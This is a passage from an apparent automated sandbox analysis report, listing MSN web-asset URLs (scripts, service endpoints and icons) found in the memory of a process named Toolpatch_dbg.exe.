00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/experience.a72730bb2b7a5325927d.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/experience.a72730bb2b7a5325927d.jseb8.jsca5.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1954566967.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1953307636.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1958546360.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/experiences_top-sites-edgenext-wc_dist_TopSite
Source: Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.f39b41f6806a02cd65d4.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.f39b41f6806a02cd65d4.js47
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/float-button-group-wc.497dec6fdaf296da2c80.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/float-button-group-wc.497dec6fdaf296da2c80.jsA
Source: Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_ad-service-base_dist_msnKVService_js-libs
Source: Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_ad-service_dist_NativeAdService_js.e65d55
Source: Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_location-service_dist_AutoSuggestService_
Source: Toolpatch_dbg.exe, 00000009.00000003.2015605043.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_social-data-service_dist_service_SocialSe
Source: Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1998646140.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connec
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2017631657.000000000827D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.5da1d823f3d7131a6bff.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/money-info-service.1ab254b14f307ba92272.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2017631657.000000000827D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/money-info.d11245fda02068df268f.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2002993039.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/money-quote-vertical-watchlist.72fae3c497699b1
Source: Toolpatch_dbg.exe, 00000009.00000003.2075091210.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2019525700.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173153308.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1954782559.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956447109.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_j
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-banner.e1d490e6765224e52224.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-coach-mark.000c923c7a0bbdca3c74.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-placement-manager.fc7b7cad27260d2f6a
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/scrollPerfMetricTrackers.0c056f3a2106f33fad55.
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2017127212.0000000002E9E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/sign-in-control-wc.03877c4a218aeeb3a202.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/super-nav.e559ed2be9b7ff54abb6.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.52fc0390edd2799a19a7.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.52fc0390edd2799a19a7.jsfb9f.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/topicData.772c07d8968b6c59f6d6.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.3239e87ba2deb9aad84c.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.3239e87ba2deb9aad84c.js&
Source: Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052835827.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-card-data-connector.4ce5983e6ed66a0247
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052835827.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-card-wc.f6c65138b491db572791.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-one-liner.f14d2883b2ba720bf8eb.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-one-liner.f14d2883b2ba720bf8eb.js(
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052835827.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/welcomeGreetingLight.a6ea0df99f9d82df21be.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1955957822.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/config/v1/&os=windows&locale=
Source: Toolpatch_dbg.exe, 00000009.00000003.1958325494.0000000002EC7000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1958546360.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId
Source: Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/service/news/feed/pages/weblayout?User=m-348D4CA072696452184B5934737065A6&act
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/service/segments/recoitems/weather?apikey=UhJ4G66OjyLbn9mXARgajXLiLw6V75sHnfp
Source: Toolpatch_dbg.exe, 00000009.00000003.1956349364.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/statics/icons/favicon_newtabpage.png
Source: Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2019525700.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173153308.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/common/icons/copilot_color.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2119702428.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2147125938.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/PersonalizeStarColor.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/PersonalizeStarColor.svg.2045.47
Source: Toolpatch_dbg.exe, 00000009.00000003.2119702428.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/PersonalizeStarColor.svgd9
Source: Toolpatch_dbg.exe, 00000009.00000003.2091486014.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/BackGroundButton.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/FeedSettings.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/FeedSettings.svgBgWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2129328925.0000000002E9E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeedBgWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeedDark.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeedDarkBgWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeedWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/ManageTheme.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/ManageThemeDark.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeed.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeedBgWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069947708.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeedDark.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2108173386.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeedDarkBgWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/MoreFeedWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewLessFeedBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2087086124.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewLessFeedDark.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewLessFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2091486014.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewMoreFeedBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewMoreFeedBg.svg0.2045.47
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewMoreFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewScrollForFeed.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewScrollForFeedBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/NewScrollForFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/ScrollForFeedBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/ScrollForFeedDarkBg.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2158253637.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/ScrollForFeedDarkWidgets.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2052835827.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg
